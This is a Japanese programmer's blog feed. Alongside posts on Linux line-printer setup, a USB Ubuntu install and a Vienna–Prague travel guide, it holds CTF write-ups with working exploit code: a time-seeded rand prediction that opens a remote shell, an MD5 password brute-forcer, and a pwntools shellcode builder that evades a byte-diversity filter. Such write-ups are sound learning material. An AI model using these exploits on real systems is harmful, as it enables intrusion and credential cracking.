tag:blogger.com,1999:blog-40090479189437956792024-02-07T19:42:30.802+09:00戦力外プログラマの技術メモ戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.comBlogger51125tag:blogger.com,1999:blog-4009047918943795679.post-57011457414190576622022-02-01T15:47:00.003+09:002022-02-01T15:52:21.189+09:00Linuxでラインプリンタを使う設定&印刷データ作成方法<p> AS400で動いているシステムをLinux&Javaでリプレースする案件で、引き続きラインプリンタを使いたいとのことで、動くようにしてみた。</p><p>こんな記事書いて助かる人いるかどうかわからないけど一応書いとく。</p><p><br /></p><p>使用するプリンタはリコーの <a href="https://www.ricoh.co.jp/pps/products/lineimpact/5400f06/" target="_blank">Info Print 5400モデルF06</a> で、ドキュメントは<a href="https://manuals.ricoh.com/pps/download/manual/lineimpact/5400_f06operation.html" target="_blank">ネットで入手可能</a>。</p><p>調べたところAS400とはtelnet5250とかいうIBMローカルなプロトコルで通信しているが、lprもサポートしている。切り替えは実機いじってコンソールで設定変更。日本語コードは一応自動判別するらしいが、同様にSJISへ切替可能。</p><p>当然Linux用のドライバなんてない。で、どうやって設定・制御するかと言うと、結論から言ってしまえは、</p><p><b>ドライバはRow Printerにして、印字データはテキストのみ。制御コードはデータ中に含める</b></p><p>ということになる。</p><p><br /></p><p>CUPSで新規登録する場合は、</p><p>・<span face=""lucida grande", geneva, helvetica, arial, sans-serif" style="background-color: white;">LPD/LPR ホストまたはプリンター</span></p><p><span face=""lucida grande", geneva, helvetica, arial, sans-serif" style="background-color: white;">・接続先:</span><span face="lucida grande, geneva, helvetica, arial, sans-serif">lpd://プリンタのIPアドレス/lp1</span></p><p><span face="lucida grande, geneva, helvetica, arial, sans-serif"> このプリンタの場合、lp1〜lp4までキューがあって、lp1は改行\r\n、印字終了時改ページしない</span></p><p><span face="lucida grande, geneva, helvetica, arial, sans-serif">・メーカー:Raw</span></p><p><span face="lucida grande, geneva, helvetica, arial, sans-serif">・モデル:Raw Queue(en)</span></p><p><span face="lucida grande, geneva, helvetica, arial, sans-serif">でおk。</span></p><p><br /></p><p>印字開始位置は用紙によって手動でセッテイングを行うので、印字開始位置制御はしなくていいとして、</p><p>・初期化(コンソール使って設定した状態に戻す)</p><p>・1インチあたりの文字数、行数</p><p>・用紙サイズ</p><p>・改ページ</p><p>はデータの中に含める。</p><p><br /></p><p>例えば、1インチあたり6行半角6文字で、用紙サイズ11インチに</p><p>「はろー、\r\nわーるど。」</p><p>と印字する場合、印刷するデータはユニコードにすると以下のようになる。</p><p><br /></p><p>\u001B\u007E\u0001\u0000 (初期化)</p><p>\u001B\u007E\u0003\u0000\u0001\u003C (行ピッチ6lpi)</p><p>\u001B\u007E\u0002\u0000\u0001\u003C (文字ピッチ6cpi)</p><p>\u001B\u007E\u0004\u0000\u0002\u0001\u0042 (用紙長、\u0042は1ページ66行)</p><p>はろー、</p><p>\000D\000A (改行)</p><p>わーるど。</p><p>\000C (改ページ)</p><p><br /></p><p>Java等のプログラムで上記のような印字データファイル作成して、あとはlprで流し込んでやればよい。</p>戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-19761987100351181612021-09-13T11:18:00.008+09:002021-09-13T16:59:40.436+09:00CSAW CTF 2021 Writeups(大したの解いてない)<p>CSAW CTF自体が大したことないというのは置いといて、</p><p><b>pwn haySTACK</b></p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;">$ nc pwn.chal.csaw.io 5002<br /></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;">すると、以下出力</p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;">Help! I have lost my favorite needle in one of my 4096 identical haystacks!</p><p>Unfortunately, I can't remember which one. Can you help me??</p><p>Which haystack do you want to check?</p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;"> バイナリをダウンロードしてBinaryNinjaで見てみたら、srand(time(null))した直後のrand()の戻り値を0x100000で割った余りと、入力値が一致したら/bin/shを動かすようになっていた。</p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;">なので、こちらもCで srand(time(null)); rand()した結果を送信して、その後lsとcat flag.txtを送信した。</p></blockquote><p></p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p>$ nc -c "java B" pwn.chal.csaw.io 5002</p></blockquote><p></p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p>210355</p><p>Help! I have lost my favorite needle in one of my 4096 identical haystacks!</p><p>Unfortunately, I can't remember which one. Can you help me??</p><p>Which haystack do you want to check?</p><p>210355</p><p>Hey you found a needle! And its number is 0x00001337! That's it!</p><p>flag.txt</p><p>haySTACK</p><p>flag{4lw4YS_r3m3mB3R_2_ch3CK_UR_st4cks}</p></blockquote><p>-----</p><pre>a.c
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main(int argc, char *argv[]) {
int a;
srand(time(NULL));
a = rand() % 0x100000;
printf("%d\n", a);
}
B.java
import java.io.*;
public class B {
public static void main(String args[]) {
InputStreamReader isr = null;
BufferedReader br = null;
try {
isr = new InputStreamReader(System.in, "UTF-8");
br = new BufferedReader(isr);
String line = null;
String ans = guess();
System.err.println(ans);
for (int i = 0; i < 4; i++) {
line = wait_line(br, "Which haystack do", null);
System.out.println(ans);
System.err.println(ans);
line = wait_line(br, "Hey you", "Hey, you");
if (line.startsWith("Hey you")) {
System.out.println("ls");
System.out.println("cat flag.txt");
wait_line(br, "flag", null);
} else {
ans = guess();
System.err.println(ans);
}
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
public static String wait_line(BufferedReader br, String q1, String q2)
throws IOException {
String line = null;
while (true) {
line = br.readLine();
System.err.println(line);
if (q1 != null && line.startsWith(q1))
return line;
if (q2 != null && line.startsWith(q2))
return line;
}
}
public static String guess() {
try {
Runtime rt = Runtime.getRuntime();
Process p = rt.exec("./a");
InputStream ism = p.getInputStream();
InputStreamReader reader = new InputStreamReader(ism, "UTF-8");
BufferedReader br = new BufferedReader(reader);
return br.readLine();
} catch (IOException ex) {
ex.printStackTrace();
}
return null;
}
}
</pre><p>-----</p><p><br /></p><b>misc Weak Password</b><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><pre style="text-align: left;">問題文はこう</pre></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;"><span face="Lato, LatoOffline, sans-serif" style="background-color: white; color: #212529; font-size: 18px;">Can you crack Aaron’s password hash? He seems to like simple passwords. I’m sure he’ll use his name and birthday in it. Hint: Aaron writes important dates as YYYYMMDD rather than YYYY-MM-DD or any other special character separator. Once you crack the password, prepend it with </span><code style="background-color: white; box-sizing: border-box; color: #e83e8c; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; font-size: 15.75px; word-break: break-word;">flag{</code><span face="Lato, LatoOffline, sans-serif" style="background-color: white; color: #212529; font-size: 18px;"> and append it with </span><code style="background-color: white; box-sizing: border-box; color: #e83e8c; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; font-size: 15.75px; word-break: break-word;">}</code><span face="Lato, LatoOffline, sans-serif" style="background-color: white; color: #212529; font-size: 18px;"> to submit the flag with our standard format. Hash: </span><code style="background-color: white; box-sizing: border-box; color: #e83e8c; font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; font-size: 15.75px; word-break: break-word;">7f4986da7d7b52fa81f98278e6ec9dcb</code><span face="Lato, LatoOffline, sans-serif" style="background-color: white; color: #212529; font-size: 18px;">.</span></p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;">名前と日付くっつけてmd5してhashが一致すればおk。</p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;">最初現在日付からDateクラスなりCalendarクラスで1日ずつ過去にしてループしようと思ったけど、別に無効な日付で試しても問題ないので、2021年からhash一致するまで、月は12-1、日は31-1の3重ループにした。</p></blockquote><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p>$ java A</p><p><span> :</span></p><p>Aaron19800323 286a6af3577736c8188403159f382fd8</p><p>Aaron19800322 0e5c5b6afda26100e4bcc8e0d8135714</p><p>Aaron19800321 7f4986da7d7b52fa81f98278e6ec9dcb</p><div>$ </div></blockquote><p></p><p>-----</p><pre>A.java
import java.security.MessageDigest;
public class A {
public static void main(String args[]) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
for (int y = 2021; y > 0; y--) {
String yyyy = String.format("%04d", y);
for (int m = 12; m > 0; m--) {
String mm = String.format("%02d", m);
for (int d = 31; d > 0; d--) {
String dd = String.format("%02d", d);
String pass = "Aaron" + yyyy + mm + dd;
byte[] result = md.digest(pass.getBytes());
String md5 = String.format("%032x",
new BigInteger(1, result));
System.out.println(pass + " " + md5);
if (md5.equals("7f4986da7d7b52fa81f98278e6ec9dcb"))
System.exit(0);
}
}
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
</pre>
<p>-----</p><p><br /></p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;"> </p></blockquote><p> </p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><p style="text-align: left;"> </p></blockquote>戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com1tag:blogger.com,1999:blog-4009047918943795679.post-39298613216635674422020-02-03T01:56:00.001+09:002020-02-16T10:36:14.493+09:00WindowsPC上で、UEFIブートのUbuntu(18.04.3)をUSBメモリにインストールここ数年、あちこちのマシン上にデュアルブートでUbuntuの環境作るの面倒になってきたので、USBメモリにUbuntuインストールして持ち歩いてます。<br />
<div>
例えば、自宅のMacBook上で資料なりツールなり作っておいて、出先で持ち歩き用の11.6インチWindows PCで見せたり動かすとか。</div>
<div>
<br /></div>
<div>
そのUSBメモリを、内部ディスク等にWindowsがインストールされているPC上で作成すると、ブートローダがUSBメモリにインストールされません。WindowsのEFIパーティションにインストールされてしまいます。<br />
なので、そのUSBメモリは他のPCでは起動できません。<br />
<br />
内部ディスクを外してインストールできればいいんですが、ノートPCたど外すの面倒くさかったり保証受けられなくなったり、そもそもeMMCなんかだと直付けされてたりするので、なんとか付けたままでインストールしたい。<br />
<br />
<div style="text-align: left;">
以下そのための手順です。デバイス名等はASUS Vivobook E200HAのもので、内蔵eMMCは/dev/mmcblk0でUSBメモリは/dev/sdaです。</div>
<br />
<ul>
<li>インストールメディアからTry ubuntu without installingでシステムを立ち上げて、Install Ubuntu 18.04.3LTSを起動してインストール</li>
</ul>
----------------------------------------------------------------<br />
インストールに関してはざっくり省略<br />
----------------------------------------------------------------<br />
<ul>
<li>再起動前にTerminalを立ち上げ、UbuntuのEFIパーティション、WindowsのEFIパーティションをマウント</li>
</ul>
----------------------------------------------------------------</div>
<div>
# mount /dev/sda1 /target/boot/efi</div>
<div>
# mount /dev/mmcblk0p2 /mnt<br />
----------------------------------------------------------------<br />
<ul>
<li>ubuntuのブートローダーをWindowsのEFIパーティションからUbuntuのEFIパーティションへ移動</li>
</ul>
----------------------------------------------------------------<br />
# mkdir /target/boot/efi/EFI<br />
# cd /mnt/EFI<br />
# mv ubuntu /target/boot/efi/EFI/<br />
----------------------------------------------------------------<br />
<ul>
<li>一部のWindowsPCやMacではデフォルトのEFIブートローダー名じゃないと立ち上がらなかったりするので、デフォルト名のも作ります。</li>
</ul>
----------------------------------------------------------------<br />
# cd /target/boot/efi/EFI<br />
# cp -r ubuntu boot<br />
# cd boot<br />
# mv grubx64.efi bootx64.efi<br />
----------------------------------------------------------------<br />
<br />
<ul>
<li>ここで注意点ですが、boot/bootx64.efiで起動してもgrub.cnfファイルはubuntuの下のを参照するので、cpではなくmvするとgrub-shellでエラーになります。</li>
</ul>
<div>
<br /></div>
<div>
<ul>
<li>/etc/fstabにEFIパーティションをマウントする記述があり、これもWindowsのものを参照しているので書き換えます。まずblkidコマンドでUbuntuのEFIパーティションのUUIDを調べて、/etc/fstabを書き換えます。</li>
</ul>
----------------------------------------------------------------</div>
<div>
# blkid /dev/sda1</div>
/dev/sdb1: UUID="<span style="color: #cc0000;"><b>C3C3-529C</b></span>" TYPE="vfat" PARTUUID="e116e9b3-b110-4d0f-95d0-1e0fa76420c2"<br />
# vi /etc/fstab<br />
UUID=<span style="color: #cc0000;"><b>C3C3-529C</b></span> /boot/efi vfat umask=0077 0 1<br />
----------------------------------------------------------------<br />
<br />
以上で完了、PCの設定画面でUSBメモリの起動順を一番上にしてリブートすればUbuntuが立ち上がります。<br />
このメモリをMacBookに挿して、起動後ALTでUSBメモリが出てきます。<br />
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-32753712044644600032019-06-21T13:53:00.001+09:002019-06-25T06:12:46.161+09:002019 ウィーン・プラハ旅行ツール2019年6月1日〜6月8日、ウィーン・プラハを旅行してきたので、その時利用したサイト、アプリ、デバイスについてまとめます。<br />
<br />
<ul>
<li><span style="color: blue;"><b>移動手段</b></span></li>
</ul>
今回久しぶりの海外旅行でしかもヨーロッパ内で国境をまたがる移動があるので、移動手段と宿泊は旅行会社、旅工房のツアーを利用した。<br />
- 成田・ウィーン間:フィンエアー、ヘルシンキ経由<br />
- ウィーン・プラハ間:Railjet<br />
- プラハ・成田間:フィンエアー、ヘルシンキ経由<br />
<br />
<ul>
<li><span style="color: blue;"><b>SIM</b></span></li>
</ul>
今回現地での通信手段は3つ用意した。<br />
<div>
- Wi-Ho!SIMヨーロッパ周遊5G</div>
<div>
<a href="https://sim.telecomsquare.co.jp/jp/overseas/eu.html" target="_blank">https://sim.telecomsquare.co.jp/jp/overseas/eu.html</a></div>
<div>
結局1.7Gしか使わなかった(IPadのモバイルデータ通信の統計情報で確認)</div>
<div>
このSIMには残量確認サービスはない。ヘルシンキでの乗り換え時間に設定した。</div>
<div>
- JetPhone</div>
<div>
<a href="https://www.jetfon.jp/" target="_blank">https://www.jetfon.jp/</a></div>
<div>
同伴者が利用、ヘルシンキでの乗り換え時間に<a href="https://www.executivelounges.com/airport-lounges/helsinki-airport-aspire-lounge" target="_blank">Aspire Lounge</a>のフリーWifiに繋ぎ、ヨーロッパ周遊のクラウドSIMを購入した。</div>
<div>
- AppleSIM</div>
<div>
<a href="https://www.apple.com/jp/ipad/cellular/" target="_blank">https://www.apple.com/jp/ipad/cellular/</a></div>
<div>
アップル銀座で540円で購入。Wi-Ho!SIMが余りすぎたので結局使わなかった。</div>
<div>
<br /></div>
<div>
<ul>
<li><b><span style="color: blue;">PDFチケット、路線図等の保存、共有方法</span></b></li>
</ul>
Googleドライブを使用した。</div>
<div>
すべてのPDFをPCでドライブにアップロード、同伴者と共有、スマホで表示確認後、「オフラインで使用可」にした。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4sURuH78HRa5DoP0PJrCCcp2Dr_C7JBpQtJLzDGfPReG76uF6ELRumIMkK061z1FruiFzhTbnZYSLsxZtxrFTP3cG1y3tIavg7AykAOUmJE-NJrsMPz-IGyBsBNeVHIZpB-O0QBw53L3u/s1600/Screenshot_20190621-140304.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4sURuH78HRa5DoP0PJrCCcp2Dr_C7JBpQtJLzDGfPReG76uF6ELRumIMkK061z1FruiFzhTbnZYSLsxZtxrFTP3cG1y3tIavg7AykAOUmJE-NJrsMPz-IGyBsBNeVHIZpB-O0QBw53L3u/s320/Screenshot_20190621-140304.png" width="180" /></a></div>
<br /></div>
<div>
チケット類はデバイス表示NGの場合に備え、一通り紙に印刷したものも用意した</div>
<div>
<br /></div>
<div>
<ul>
<li><b><span style="color: blue;">飛行機のチェックイン</span></b></li>
</ul>
フィンエアーはWEBサイトで搭乗時刻36時間前からオンラインチェックインが可能。<br />
<a href="https://www.finnair.com/jp/jp/" target="_blank">https://www.finnair.com/jp/jp/</a><br />
アプリからもできるらしい。<br />
<a href="https://www.finnair.com/jp/jp/mobile-app" target="_blank">https://www.finnair.com/jp/jp/mobile-app</a><br />
自分でユーザ登録、フィンエアープラス会員になっておけばマイルを貯められる。<br />
旅行会社から「Eチケットお客様控え」が送られてくるので、これに書かれている予約番号と姓を「予約の管理」で入力すれば往復ともアカウントに紐付けられる。<br />
最初の便の36時間前になるとチェックイン可能、座席指定して搭乗券が送られてくる。メール等でPDFで受け取れるが、チェックインすればアプリにも搭乗券が表示されるようになる。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyecynXgRlqzzm2HRTSpNavFBBtIHzvQ7Xn_L1neojgv8j8e2KzXEKc64UsKXZ1jv6UQ6cWt1hCuQxcTtln5RRvivRRLdU9TZ7pJnpn6tFmXnZDRNpNVgbe7ng_3YW4L3MExfrD-IKd20z/s1600/boarding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1343" data-original-width="755" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyecynXgRlqzzm2HRTSpNavFBBtIHzvQ7Xn_L1neojgv8j8e2KzXEKc64UsKXZ1jv6UQ6cWt1hCuQxcTtln5RRvivRRLdU9TZ7pJnpn6tFmXnZDRNpNVgbe7ng_3YW4L3MExfrD-IKd20z/s320/boarding.jpg" width="179" /></a></div>
<br />
乗り継ぎ便の座席指定もこのタイミングでできるようになり、同様に搭乗券が手に入る。<br />
同乗者がいる場合には、同乗者の搭乗券も表示される。<br />
今回は同乗者はフィンエアーのアプリを用意していなかったので、自分のアカウントで複数のスマホでログイン、それぞれの搭乗券を表示させて搭乗した。<br />
旅行会社からの案内には空港でチェックインしろと書かれていたが無視。<br />
<br />
<ul>
<li><span style="color: blue;"><b>ウィーン交通局のチケット</b></span></li>
</ul>
72時間フリーチケット等はアプリで購入できる。アプリで使用開始時間を指定し、チェック時はこれをアプリで表示して見せれば良い。<span style="color: red;">ネットワークに繋がっていないと起動できない。</span><br />
<a href="https://www.wienerlinien.at/eportal3/ep/channelView.do/pageTypeId/66533/channelId/-3600061" target="_blank">WienMobil App</a><br />
購入時、使用開始時間を指定する。デフォルト開始時間はスマホの現在日時となるようなので、ウィーン到着後<span style="color: red;">タイムゾーンの調整をせず、デフォルト開始時間で購入すると開始時間が日本時間(未来日付)になるのでこの点は注意</span>(やっちまった)。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5iHKnOpptKqfZ1NYIc6kUG9lZBHA1JHqm-mG39RB07vqfOk4FeNqmVwcyIj-_WuOmh-Bmis0N4xYLgKeRFqEmzy_erFW9fxHqGXmNKs_gujzp-9kVWo6R_AoS5rqCACZjk63Wk5-WL96R/s1600/wienmobil.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5iHKnOpptKqfZ1NYIc6kUG9lZBHA1JHqm-mG39RB07vqfOk4FeNqmVwcyIj-_WuOmh-Bmis0N4xYLgKeRFqEmzy_erFW9fxHqGXmNKs_gujzp-9kVWo6R_AoS5rqCACZjk63Wk5-WL96R/s320/wienmobil.jpg" width="180" /></a></div>
<br />
チェック時氏名と写真入りのIDカードを見せる必要ありとのことだが、一度もチェックされなかった。<br />
<a href="https://www.wienerlinien.at/eportal3/ep/channelView.do/pageTypeId/66533/channelId/-4001534" target="_blank">WienMobil App FAQ</a><br />
<br />
<ul>
<li><span style="color: blue;"><b>プラハ市内交通局のチケット</b></span></li>
</ul>
72時間フリーチケット等はアプリで購入できる。利用前にアプリでチケットを有効化し、チェック時はこれをアプリで表示して見せれば良い。<br />
<a href="https://app.pidlitacka.cz/en/" target="_blank">PID Lítačka</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxqKgYs687ybP0gx0d49NwIOpeDDTaRZZzKDCj8AXpfmnuO3pOma1Tz33ZWEQVwpp8QMOCuu14LgyAGx1DpAF5fdYJXkpVY3oYMP5RaZBXf_iFYBq-YDma5ArCb06s1HRgvDuPA8PdPTq-/s1600/pid.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="900" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxqKgYs687ybP0gx0d49NwIOpeDDTaRZZzKDCj8AXpfmnuO3pOma1Tz33ZWEQVwpp8QMOCuu14LgyAGx1DpAF5fdYJXkpVY3oYMP5RaZBXf_iFYBq-YDma5ArCb06s1HRgvDuPA8PdPTq-/s320/pid.jpg" width="180" /></a></div>
<br />
チケットを有効化しないで乗車し、チェック時にしれっと有効化するという手口対策で、有効化後2分間は赤く表示され無効になっているので、有効化されたのを確認してから乗る。<br />
<br />
<ul>
<li><span style="color: blue;"><b>ウィーン・プラハ間の移動</b></span></li>
</ul>
railjetで移動。乗車券と指定席券は別。2等指定席を旅行会社でおさえていたが、4人席で他の乗客と向かい合う席だったので、指定席だけ自分で取り直した。ÖBBのサイトで購入可能。<br />
<a href="https://www.oebb.at/" target="_blank">https://www.oebb.at/</a><br />
乗車券は旅行会社から送られてきたものを持参、指定席はPDFを印刷した。<br />
国境を超える場合は印刷必要とあったため。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja6KGbdgeepPCJtwfr3yzQ4o2KaMEPWJyldhdaK9PJM5PO7eXAXKGteJXFLSO3IEDP6duG0_YgxBJyswmYIOMS-cOKmkoxhCSU1vDk2z1vnUUhJVaFQnkkSEXwCfpHePCu-uceKAykLTyF/s1600/rjprint.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1339" data-original-width="762" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja6KGbdgeepPCJtwfr3yzQ4o2KaMEPWJyldhdaK9PJM5PO7eXAXKGteJXFLSO3IEDP6duG0_YgxBJyswmYIOMS-cOKmkoxhCSU1vDk2z1vnUUhJVaFQnkkSEXwCfpHePCu-uceKAykLTyF/s320/rjprint.jpg" width="182" /></a></div>
<br />
座席予約時taurusが先頭車両と思い、進行方向に向かう席を取ったつもりが逆だった。<br />
ただ、乗車時座席にreservedを示す乗車区間の表示が出ていたがその後確認したら消えていたので、発車してしまえば空いている席に移動しても誰も困らないかも知れない(自分が予約した席に他の人が座れる)。<br />
<br />
<ul>
<li><span style="color: blue;"><b>楽友協会のコンサートチケット</b></span></li>
</ul>
公式サイトで日本語で購入可能、2月中に席を押さえた。<br />
<a href="https://www.musikverein.at/ja/programme" target="_blank">https://www.musikverein.at/ja/programme</a><br />
チケットはメールでPDFで送られてくる。これをスマホで表示させればよい。<br />
<br />
<br />
<ul>
<li><span style="color: blue;"><b>シシィチケット</b></span></li>
</ul>
シシィチケットはシェーンブルン宮殿・旧王宮・王宮家具博物館に入場でき、事前に日本で購入可能。シェーンブルン宮殿の列がひどいらしいので事前に購入、<br />
<a href="https://www.imperialtickets.com/en/schoenbrunn-palace/sisi-ticket/53?_locale=en" target="_blank">https://www.imperialtickets.com/en/schoenbrunn-palace/sisi-ticket/53?_locale=en</a><br />
メールでチケットPDFを表示するURLが送られてくるのでこれを保存、スマホで表示しゲートにかざせばよい。<br />
<br />
<br />
<ul>
<li><span style="color: blue;"><b>楽友協会のガイドツアー</b></span></li>
</ul>
公式サイトで日本語で購入可能。<br />
<a href="https://www.musikverein.at/ja/guided-tours" target="_blank">https://www.musikverein.at/ja/guided-tours</a><br />
チケット窓口(建物に向かって左側の<a href="https://www.musikverein.at/ja/ticket-purchase" target="_blank">KONZERTKASSA</a>)で購入完了メールをスマホで見せてチケットをもらう。<br />
<br />
<br />
<ul>
<li><span style="color: blue;"><b>美術史美術館のチケット</b></span></li>
</ul>
一応事前に購入可能。<br />
<a href="http://shop.khm.at/en/tickets/" target="_blank">http://shop.khm.at/en/tickets/</a><br />
大して混まないだろうと思い、現地で買った。有人窓口は混んでいるが近くにカードで購入できる券売機があり、そちらは人が並んでいなかった。<br />
<br />
<br />
<ul>
<li><span style="color: blue;"><b>市民会館のコンサートチケット</b></span></li>
</ul>
公式サイトで購入可能、2月中に席を押さえた。<br />
<a href="http://www.obecnidum.cz/en/concerts/" target="_blank">http://www.obecnidum.cz/en/concerts/</a><br />
チケットはメールでPDFで送られてくる。スマホで表示でも行けたかもしれないが、紙に印刷したものを会場で見せた(なんとなく)。<br />
<br />
<br />
<ul>
<li><b><span style="color: blue;">市民会館のガイドツアー</span></b></li>
</ul>
事前に購入可能。<br />
<a href="http://www.obecnidum.cz/en/tours/" target="_blank">http://www.obecnidum.cz/en/tours/</a><br />
毎日複数回やっていて、残数が少ないのを見たことがないので現地で購入した。<br />
<br />
<br />
<ul>
<li><span style="color: blue;"><b>ルドルフィヌムのガイドツアー</b></span></li>
</ul>
ツアー申し込み時まだチェコフィルのコンサートチケットが取れる状態だったが、ドレスコードフォーマルということで今回の目標、最少荷物で済ます、に反するので断念し、代わりにガイドツアーを申し込んだ。事前にメールで予約が必要。<br />
<a href="https://www.rudolfinum.cz/en/tours/" target="_blank">https://www.rudolfinum.cz/en/tours/</a><br />
日にちが限られているので、運良く日程があえば参加可能。<br />
予約確認メールが送られてくるので、それをボックスオフィス(建物に向かって右側)で見せてチケットを購入する。カード可。<br />
<br />
コンサートのスケジュールはこっち。<br />
<a href="https://www.rudolfinum.cz/en/concert-schedule/" target="_blank">https://www.rudolfinum.cz/en/concert-schedule/</a></div>
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-70844324577989204622018-04-26T09:53:00.002+09:002018-07-04T17:04:17.962+09:00Blaze CTF 2018 shellcodeme(+hard) writeups 入力した文字列をそのままバイナリコードとして実行してやるけど、コードのバイトパターンは7種類までな。という問題でした。ご丁寧にソースコード付き。<br />
<blockquote class="tr_bq">
// gcc -zexecstack -Os shellcodeme.c -o shellcodeme<br />
#include <stdio.h><br />
#include <string.h><br />
#include <sys/mman.h><br />
#include <unistd.h><br />
<br />
#define BUF_SIZE (0x4096 & ~(getpagesize()-1))<br />
<br />
int main() {<br />
setbuf(stdout, NULL);<br />
unsigned char seen[257], *p, *buf;<br />
void (*f)(void);<br />
memset(seen, 0, sizeof seen);<br />
buf = mmap(0, BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);<br />
puts("Shellcode?");<br />
fgets(buf, BUF_SIZE, stdin);<br />
fflush(stdin);<br />
for(p=buf; *p != '\n'; p++) {<br />
seen[256] += !seen[*p];<br />
seen[*p] |= 1;<br />
}<br />
if(seen[256] > 7) {<br />
puts("Shellcode too diverse.");<br />
_exit(1);<br />
} else {<br />
*(void**)(&f) = (void*)buf;<br />
f();<br />
_exit(0);<br />
}<br />
}</blockquote>
checksecはこう。<br />
<blockquote class="tr_bq">
Arch: amd64-64-little<br />
RELRO: Partial RELRO<br />
Stack: No canary found<br />
NX: NX disabled<br />
PIE: No PIE (0x400000)<br />
RWX: Has RWX segments</blockquote>
さすがにshellcraft.sh()で生成したコードじゃ7種類とか無理なので、<br />
<ul>
<li>レジスタ上で8バイトずつシェルコード構築</li>
<li>8バイトずつスタックに積む(push rax)</li>
<li>全部組み上がったところでスタックの先頭にジャンプ(jmp rsp)</li>
</ul>
という方針で考えてみました。<br />
<br />
が、最初既出コードをaddしてシェルコード組もうとしても、<br />
<blockquote class="tr_bq">
add レジスタ 値</blockquote>
の場合、値の部分は32bitまでで、pushが64bit単位だったりとなかなかうまくいかず<br />
最終的にインクリメント(inc rax)とシフト(shl rax 1)でシェルコード生成、push rax、jmp rspの組み合わせだと7種類で収まるとわかりました。<br />
<blockquote class="tr_bq">
inc rax = 48 D1 E0<br />
shl rax 1 = 48 FF C0<br />
push rax = 50<br />
jmp rsp = FF E4</blockquote>
というわけで、解答コードは以下。<br />
<a href="https://github.com/minetosh/ctf/tree/master/2018/BlazeCTF">https://github.com/minetosh/ctf/tree/master/2018/BlazeCTF</a><br />
<blockquote class="tr_bq">
from pwn import *<br />
<br />
context(os='linux', arch='amd64')<br />
<br />
def makesh(val):<br />
base = 2 ** 63<br />
code = ''<br />
for i in range(64):<br />
code += 'shl rax, 1\n'<br />
if (val / base > 0):<br />
code += 'inc rax\n'<br />
val -= base<br />
base /= 2<br />
return code<br />
<br />
shcode = asm(shellcraft.sh())<br />
stack = ''<br />
for i in range((len(shcode) + 7) / 8):<br />
sub8 = shcode[i * 8:(i + 1) * 8]<br />
for j in range(len(sub8), 8):<br />
sub8 += '\x00'<br />
stack = makesh(u64(sub8)) + 'push rax\n' + stack<br />
<br />
stack += 'jmp rsp\n'<br />
<br />
# r = process('./shellcodeme')<br />
r = remote('shellcodeme.420blaze.in', 420)<br />
r.sendlineafter('Shellcode?\n', asm(stack))<br />
r.interactive()</blockquote>
